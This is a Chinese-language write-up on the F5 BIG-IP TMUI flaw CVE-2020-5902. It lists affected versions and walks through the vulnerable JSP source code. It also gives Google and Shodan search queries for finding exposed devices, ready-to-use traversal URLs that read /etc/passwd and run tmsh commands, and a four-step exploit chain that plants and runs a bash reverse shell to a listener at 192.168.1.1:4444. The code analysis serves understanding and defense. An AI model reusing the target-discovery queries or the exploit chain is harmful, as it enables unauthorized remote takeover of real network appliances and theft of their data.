2020年7月1日,F5官方发布了流量管理用户界面(TMUI)远程代码漏洞(CVE-2020-5902)安全通告,未经认证的攻击者,在可以访问TMUI界面的情况下,可对目标实现远程代码执行。
受影响版本:
BIG-IP 15.1.0, 15.0.0, 14.1.0-14.1.2, 13.1.0-13.1.3, 12.1.0-12.1.5, 11.6.1-11.6.5
复现
资产发现
Google dork
inurl: "tmui/login.jsp"
intitle:"BIG-IP" inurl:"tmui"
shodan搜索语法
F5-Login-Page
WWW-Authenticate: Basic realm=BIG-IP
BigIP
BIG-IP
http.favicon.hash:-335242539
http.title:"BIG-IP®- Redirect"
PoC
文件读取:https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
命令执行:https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
Exp
1.开启bash/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2.在可执行目录下创建文件并写入需要执行的命令/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/123456&content=bash+-i>%26+/dev/tcp/192.168.1.1/4444+0>%261
3.命令执行/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp%2f123456
4.还原list命令/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
代码分析
在 https://github.com/jas502n/CVE-2020-5902 中下载到所需文件的源码。
为什么要使用/tmui/login.jsp/..;/
TMUI原本存在登录限制,使用/..;/
是为了绕过登录限制。绕过登录限制是漏洞利用的基础,只有绕过了登录限制,才能无障碍进行后续步骤。
登录限制之后的漏洞非常直接,通过代码审计可以很轻松的找到相应漏洞。
tmshCmd.jsp
查看tmshCmd_jsp.java
文件,在第110行调用WorkspaceUtils.runTmshCommand
方法
追到WorkspaceUtils.runTmshCommand
方法,第80行存在command的判断,会禁止一些BadShellCharacters。command会根据空格分成cmdArray数组,并且cmdArray第一个命令必须是create
、delete
、list
、modify
,第三个必须被包含在WHITELISTED_TMSH_MODULES
中,最后在第83行调用Syscall.callElevated
进行tmsh命令执行。
tmsh有自己一套的命令规则,参考 https://clouddocs.f5.com/cli/tmsh-reference/latest/general/tmsh.html 和 https://clouddocs.f5.com/api/tmsh/Commands.html
需配合一定的手法,才能进行代码执行。
这就是为什么Exp中第一步需要执行create cli alias private list command bash
命令的原因,将list
别名为bash
。所以第3步list /tmp%2f123456
等效于bash /tmp%2f123456
。
fileRead.jsp
fileRead_jsp.java
中第101行判断fileName是否在文件白名单中,第105行判断当前用户是否有该文件访问权限。最后在109行调用WorkspaceUtils.readFile
在WorkspaceUtils.readFile
方法中直接读取文件并返回,因为使用File
对象读取文件,所以可以读取任意文件。
fileSave.jsp
fileSave_jsp.java
和fileRead_jsp.java
中一样,首先对文件进行白名单判断和权限判断,再调用WorkspaceUtils.saveFile
方法。
WorkspaceUtils.saveFile
中第176-179行将传入的文件写入文件,导致任意文件可写漏洞。
WorkspaceUtils.saveFile
中有一点需要额外注意,第180-183行对文件权限和所属权进行了修改,使用的是Runtime.getRuntime().exec()
,这可能会导致任意命令执行。
但是这里使用的是String []
(字符串数组)存储命令,
经过本地测试String []
不能使用&&
拼接执行多条命令,而String
(字符串)可以使用&&
拼接多条命令,Runtime.getRuntime().exec()
传入字符串和传入字符串数组的执行是有差异的。
所以上述代码虽然将可控变量传入Runtime.getRuntime().exec()
中,但无法造成任意命令执行。